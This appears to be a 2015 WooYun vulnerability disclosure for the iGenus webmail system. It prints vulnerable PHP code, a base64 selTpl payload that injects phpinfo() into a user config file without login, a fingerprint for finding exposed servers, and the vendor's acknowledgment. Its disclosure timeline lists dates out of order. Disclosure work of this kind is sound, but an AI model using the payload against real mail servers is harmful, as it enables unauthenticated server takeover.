当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0156126

漏洞标题:iGenus邮件系统一处无需登录的任意代码执行

相关厂商:iGenus邮件系统

漏洞作者: 進撃のDanny

提交时间:2015-11-26 19:34

修复时间:2015-12-17 14:48

公开时间:2015-12-17 14:48

漏洞类型:文件包含

危害等级:高

自评Rank:20

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-11-26: 细节已通知厂商并且等待厂商处理中
2015-11-30: 厂商已经确认,细节仅向厂商公开
2015-12-03: 细节向第三方安全合作伙伴开放(绿盟科技唐朝安全巡航
2016-01-24: 细节向核心白帽子及相关领域专家公开
2016-02-03: 细节向普通白帽子公开
2016-02-13: 细节向实习白帽子公开
2015-12-17: 细节向公众公开

简要描述:

无聊下载了iGENUS5.0看看,发现了该漏洞,无需登录,可直接getshell。用这个系统的企业, 学习,政府机构还挺多的。。

详细说明:

/home/webmail/igenus/include/login_inc.php 第20行

$_GET['selTpl'] = base64_decode( $_GET['selTpl'] );
if ( $_GET['selLang'] != "" && is_file( "../language/".$_GET['selLang']."/"."webmail_inc.php" ) )
{
$userInfo2 = array( "id" => $USERINFO['id'], "username" => $USERINFO['username'], "domain" => $USERINFO['domain'], "home" => $USERINFO['home'], "language" => $_GET['selLang'], "quota" => $USERINFO['quota'], "nickname" => $USERINFO['nickname'] );
$session->setuserinfo( $userInfo2 );
$USERINFO = $session->getuserinfo( );
}
$SG_USERNAME = $USERINFO['username'];
$SG_DOMAIN = $USERINFO['domain'];
$SG_HOME = $USERINFO['home'];
$SG_QUOTA = $USERINFO['quota'];
$SG_NICKNAME = $USERINFO['nickname'];
$SG_ID = $USERINFO['id'];
$SG_LANG = $USERINFO['language'];
require_once( "../include/sys_inc.php" );
require_once( "class_config.php" );
$CFG_USERCONFIG = $SG_HOME."/".$CFG_USERCONFIG;
if ( $_GET['selTpl'] != "" )
{
$post_Tpl = explode( "|", $_GET['selTpl'], 2 )[1];
$post_Template = explode( "|", $_GET['selTpl'], 2 )[0];
if ( trim( $post_Tpl ) == "" )
{
$post_Tpl = "webmail";
}
if ( is_file( $CFG_USERCONFIG ) )
{
require_once( $CFG_USERCONFIG );
}
$CFG_TEMPLATE = $post_Template;
$CFG_TPL = $post_Tpl;
$End = "?>";
$Head = "<?php";
$Config_Out = "";
if ( !( $FD_CONFIG = fopen( $CFG_USERCONFIG, "w" ) ) )
{
exit( "Error open user configure file!" );
}
$Config_Out .= "{$Head}\n"."\$CFG_USER_LANGUAGE = '{$CFG_USER_LANGUAGE}';\n"."\$CFG_GMT\t\t= '{$CFG_GMT}';\n"."\$CFG_TEMPLATE\t\t= '{$post_Template}';\n"."\$CFG_TPL\t\t= '{$post_Tpl}';\n"."\n"."\$CFG_List_NumPerPage\t= '{$CFG_List_NumPerPage}';\n"."\$CFG_List_AutoRefresh\t= '{$CFG_List_AutoRefresh}';\n"."\$CFG_List_AutoPOP\t= '{$CFG_List_AutoPOP}';\n"."\$CFG_List_MailTime\t= '{$CFG_List_MailTime}';\n"."\$CFG_List_SortBy\t= '{$CFG_List_SortBy}';\n"."\n"."\$CFG_Prev_Alternative\t= '{$CFG_Prev_Alternative}';\n"."\$CFG_Prev_IsRead\t= '{$CFG_Prev_IsRead}';\n"."\n"."\$CFG_Send_ContentType\t= '{$CFG_Send_ContentType}';\n"."\$CFG_Send_Encoding\t= '{$CFG_Send_Encoding}';\n"."\$CFG_Send_Charset\t= '{$CFG_Send_Charset}';\n"."\$CFG_Domain_Sign\t= '{$CFG_Domain_Sign}';\n"."\$CFG_User_Sign\t= '{$CFG_User_Sign}';\n"."\$CFG_Mailaddr_Fill = '{$CFG_Mailaddr_Fill}';\n"."\$CFG_ADDR_SHOW = '{$CFG_ADDR_SHOW}';\n"."\n"."\$CFG_POP_NumPer\t\t= 'CFG_POP_NumPer';\n"."\$CFG_POP_Timeout\t= '{$CFG_POP_Timeout}';\n"."\$CFG_List_attach = '{$CFG_List_attach}';\n"."\$CFG_Auto_Lang_Trans = '{$CFG_Auto_Lang_Trans}';\n"."\$CFG_Alert_Receipt = '{$CFG_Alert_Receipt}';\n"."\$CFG_Head_off_Openwin = '{$CFG_Head_off_Openwin}';\n"."\$CFG_Reply_to\t= '{$CFG_Reply_to}';\n"."\n"."\$CFG_ADDR_Group\t= '{$CFG_ADDR_Group}';\n"."\$CFG_ADDR_Sortby\t= '{$CFG_ADDR_Sortby}';\n"."{$End}\n";
fputs( $FD_CONFIG, $Config_Out );
fclose( $FD_CONFIG );
chown_chgrp( $CFG_USERCONFIG, "" );
}


这段代码可以看出selTpl从get中接受,经过base64解码和分割之后就直接写入进行了保存操作,是没有做任何过滤限制的,
中间还进行了require_once包含。明显存在漏洞啊
由于这段代码位于登录验证之前,也就是说 这个漏洞不需要任何登录即可利用。。
漏洞测试**.**.**.**/index.php?selTpl=YWF8YWFhJzsKcGhwaW5mbygpOyM=

QQ截图20151126164447.jpg


这个漏洞官网也是存在的,出现Error open user configure file! 是权限问题,文件没有写入成功

漏洞证明:

搜索的指纹:Login to webmail 我就不列太多案例了,大家自己搜索吧。

QQ截图20151126163349.jpg


访问两次
http://**.**.**.**/index.php?selTpl=YWF8YWFhJzsKcGhwaW5mbygpOyM=
http://**.**.**.**/index.php?selTpl=YWF8YWFhJzsKcGhwaW5mbygpOyM=
http://**.**.**.**/index.php?selTpl=YWF8YWFhJzsKcGhwaW5mbygpOyM=
http://**.**.**.**/index.php?selTpl=YWF8YWFhJzsKcGhwaW5mbygpOyM=
http://**.**.**.**/index.php?selTpl=YWF8YWFhJzsKcGhwaW5mbygpOyM=
http://**.**.**.**/index.php?selTpl=YWF8YWFhJzsKcGhwaW5mbygpOyM=
http://**.**.**.**/index.php?selTpl=YWF8YWFhJzsKcGhwaW5mbygpOyM=
http://**.**.**.**/index.php?selTpl=YWF8YWFhJzsKcGhwaW5mbygpOyM=
http://**.**.**.**/index.php?selTpl=YWF8YWFhJzsKcGhwaW5mbygpOyM=
http://**.**.**.**/index.php?selTpl=YWF8YWFhJzsKcGhwaW5mbygpOyM=
http://**.**.**.**/index.php?selTpl=YWF8YWFhJzsKcGhwaW5mbygpOyM=
http://**.**.**.**/index.php?selTpl=YWF8YWFhJzsKcGhwaW5mbygpOyM=
http://**.**.**.**/index.php?selTpl=YWF8YWFhJzsKcGhwaW5mbygpOyM=
http://**.**.**.**/index.php?selTpl=YWF8YWFhJzsKcGhwaW5mbygpOyM=
http://**.**.**.**/index.php?selTpl=YWF8YWFhJzsKcGhwaW5mbygpOyM=
http://**.**.**.**/index.php?selTpl=YWF8YWFhJzsKcGhwaW5mbygpOyM=
http://**.**.**.**/index.php?selTpl=YWF8YWFhJzsKcGhwaW5mbygpOyM=
http://**.**.**.**/index.php?selTpl=YWF8YWFhJzsKcGhwaW5mbygpOyM=
以上操作会写一个全局的phphinfo页面,每个页面都会出现管理可能会发现
重新访问/index.php?selTpl=YWF8YWFhYQ== 即可重置页面

修复方案:

selTpl进行过滤

版权声明:转载请注明来源 進撃のDanny@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:13

确认时间:2015-11-30 16:36

厂商回复:

CNVD确认并复现所述情况,已经由CNVD通过网站公开联系方式向软件生产厂商通报。

最新状态:

暂无